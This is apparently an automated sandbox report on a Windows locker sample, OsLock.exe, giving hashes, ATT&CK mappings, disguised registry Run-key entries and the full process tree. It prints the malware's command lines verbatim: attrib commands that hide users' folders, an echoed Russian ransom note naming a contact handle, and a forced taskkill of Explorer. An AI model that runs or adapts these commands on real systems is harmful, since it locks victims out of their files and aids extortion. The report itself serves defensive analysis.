35f214fa6a78fbca33edaac9e2437251b350e16cc4dc4dbccf0195809ba2363f

Analysis

max time kernel
133s
max time network
142s
platform
windows10-1703_x64
resource
win10-20240611-en
resource tags

arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
submitted
06/08/2024, 09:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

OsLock.exe
Size

334KB
MD5

6b157e030846c5d329e9c1b1cd5654dc
SHA1

2881f5f1e54a61b27aed256c76e693b5fcd32d23
SHA256

35f214fa6a78fbca33edaac9e2437251b350e16cc4dc4dbccf0195809ba2363f
SHA512

b49563c0a1888f1d1ae226bf9f5450b48a55dd8d40bd35bbbe10caef6cf964852aabd43639c6559b196dcf865983fa8cfbb3887b337ff9e2a8bc5f078f953a25
SSDEEP

6144:JdnRydPc4IvjTZlyZsDDyr3rGUS3YzUCpM69/KImQi/6ebo:zAlc4IrTZlyGDcM3

Score

6^/10

defense_evasion persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OsLock.exe\" -startup"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OsLock.exe\""	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	OsLock.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2968	cmd.exe
1448	cmd.exe
4556	cmd.exe
4204	cmd.exe
380	cmd.exe
5044	cmd.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4048	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2004	OsLock.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2004	OsLock.exe
Token: SeDebugPrivilege	4048	taskkill.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 2004 wrote to memory of 5044	2004	OsLock.exe	72
PID 2004 wrote to memory of 5044	2004	OsLock.exe	72
PID 2004 wrote to memory of 380	2004	OsLock.exe	73
PID 2004 wrote to memory of 380	2004	OsLock.exe	73
PID 2004 wrote to memory of 4204	2004	OsLock.exe	74
PID 2004 wrote to memory of 4204	2004	OsLock.exe	74
PID 2004 wrote to memory of 4556	2004	OsLock.exe	75
PID 2004 wrote to memory of 4556	2004	OsLock.exe	75
PID 2004 wrote to memory of 1448	2004	OsLock.exe	76
PID 2004 wrote to memory of 1448	2004	OsLock.exe	76
PID 2004 wrote to memory of 2968	2004	OsLock.exe	77
PID 2004 wrote to memory of 2968	2004	OsLock.exe	77
PID 2004 wrote to memory of 4048	2004	OsLock.exe	78
PID 2004 wrote to memory of 4048	2004	OsLock.exe	78
PID 4204 wrote to memory of 4712	4204	cmd.exe	86
PID 4204 wrote to memory of 4712	4204	cmd.exe	86
PID 1448 wrote to memory of 2228	1448	cmd.exe	87
PID 1448 wrote to memory of 2228	1448	cmd.exe	87
PID 4556 wrote to memory of 2920	4556	cmd.exe	88
PID 4556 wrote to memory of 2920	4556	cmd.exe	88
PID 2968 wrote to memory of 4724	2968	cmd.exe	89
PID 2968 wrote to memory of 4724	2968	cmd.exe	89
PID 380 wrote to memory of 4140	380	cmd.exe	90
PID 380 wrote to memory of 4140	380	cmd.exe	90
PID 5044 wrote to memory of 1288	5044	cmd.exe	91
PID 5044 wrote to memory of 1288	5044	cmd.exe	91
PID 1448 wrote to memory of 4128	1448	cmd.exe	92
PID 1448 wrote to memory of 4128	1448	cmd.exe	92
PID 5044 wrote to memory of 3452	5044	cmd.exe	93
PID 5044 wrote to memory of 3452	5044	cmd.exe	93
PID 4556 wrote to memory of 3520	4556	cmd.exe	94
PID 4556 wrote to memory of 3520	4556	cmd.exe	94
PID 2968 wrote to memory of 2260	2968	cmd.exe	95
PID 2968 wrote to memory of 2260	2968	cmd.exe	95
PID 4204 wrote to memory of 4872	4204	cmd.exe	96
PID 4204 wrote to memory of 4872	4204	cmd.exe	96
PID 380 wrote to memory of 3144	380	cmd.exe	97
PID 380 wrote to memory of 3144	380	cmd.exe	97

Views/modifies file attributes 1 TTPs 12 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2260	attrib.exe
3144	attrib.exe
4128	attrib.exe
3520	attrib.exe
2920	attrib.exe
1288	attrib.exe
2228	attrib.exe
4712	attrib.exe
3452	attrib.exe
4872	attrib.exe
4140	attrib.exe
4724	attrib.exe

C:\Users\Admin\AppData\Local\Temp\OsLock.exe
"C:\Users\Admin\AppData\Local\Temp\OsLock.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Упсик Твои файлы Зашифрованы! Пиши @N0TK4RMA 1>info-0v92.txt & attrib -h +s +r info-lox.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5044
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1288
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-lox.txt
    3⤵
    - Views/modifies file attributes
    PID:3452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Упсик Твои файлы Зашифрованы! Пиши @N0TK4RMA 1>info-0v92.txt & attrib -h +s +r info-lox.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:380
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4140
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-lox.txt
    3⤵
    - Views/modifies file attributes
    PID:3144
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Упсик Твои файлы Зашифрованы! Пиши @N0TK4RMA 1>info-0v92.txt & attrib -h +s +r info-lox.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4204
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4712
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-lox.txt
    3⤵
    - Views/modifies file attributes
    PID:4872
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Упсик Твои файлы Зашифрованы! Пиши @N0TK4RMA 1>info-0v92.txt & attrib -h +s +r info-lox.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:2920
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-lox.txt
    3⤵
    - Views/modifies file attributes
    PID:3520
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Упсик Твои файлы Зашифрованы! Пиши @N0TK4RMA 1>info-0v92.txt & attrib -h +s +r info-lox.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1448
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:2228
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-lox.txt
    3⤵
    - Views/modifies file attributes
    PID:4128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Упсик Твои файлы Зашифрованы! Пиши @N0TK4RMA 1>info-0v92.txt & attrib -h +s +r info-lox.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4724
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-lox.txt
    3⤵
    - Views/modifies file attributes
    PID:2260
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\Desktop\info-0v92.txt

Filesize
56B

MD5
c7929018db88c3a72e9d8f2345d67629

SHA1
384a65a64d2a387a11a1d3e57287f54d97ece69c

SHA256
9a039c3cdcaaa986e50cd9c406cc77702e290f1dd75d2f5174428af1aff92417

SHA512
0661f6aa58f8fbe33dbc02a457245e25cb19d69c75a5ed89fbadf5400971cecbe0179ed66859ae5fa8591e5a684e95e8602c53b2728d2c2e38fe0df79ca06ee2

Download Submit
memory/2004-0-0x00007FFCA9A13000-0x00007FFCA9A14000-memory.dmp

Filesize
4KB

Download
memory/2004-1-0x0000000000E20000-0x0000000000E7A000-memory.dmp

Filesize
360KB

Download
memory/2004-2-0x00007FFCA9A10000-0x00007FFCAA3FC000-memory.dmp

Filesize
9.9MB

Download
memory/2004-6-0x00007FFCA9A10000-0x00007FFCAA3FC000-memory.dmp

Filesize
9.9MB

Download
memory/2004-7-0x00007FFCA9A10000-0x00007FFCAA3FC000-memory.dmp

Filesize
9.9MB

Download
memory/2004-14-0x00007FFCA9A10000-0x00007FFCAA3FC000-memory.dmp

Filesize
9.9MB

Download
memory/2004-15-0x00007FFCA9A10000-0x00007FFCAA3FC000-memory.dmp

Filesize
9.9MB

Download